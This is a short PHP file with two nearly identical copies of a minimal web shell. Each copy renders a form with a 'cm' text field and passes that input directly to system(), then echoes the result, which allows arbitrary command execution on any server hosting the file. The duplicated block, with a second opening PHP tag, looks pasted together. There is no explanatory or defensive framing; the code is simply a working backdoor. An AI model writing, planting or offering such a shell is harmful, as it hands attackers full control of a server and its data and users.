<?php
echo "<form method=\"get\"> <input type=\"text\" name=\"cm\"> <button type=\"submit\">Submit</button></form>";
if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}
<?php
echo '<form method="get"> <input type="text" name="cm"> <button type="submit">Submit</button></form>';
if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}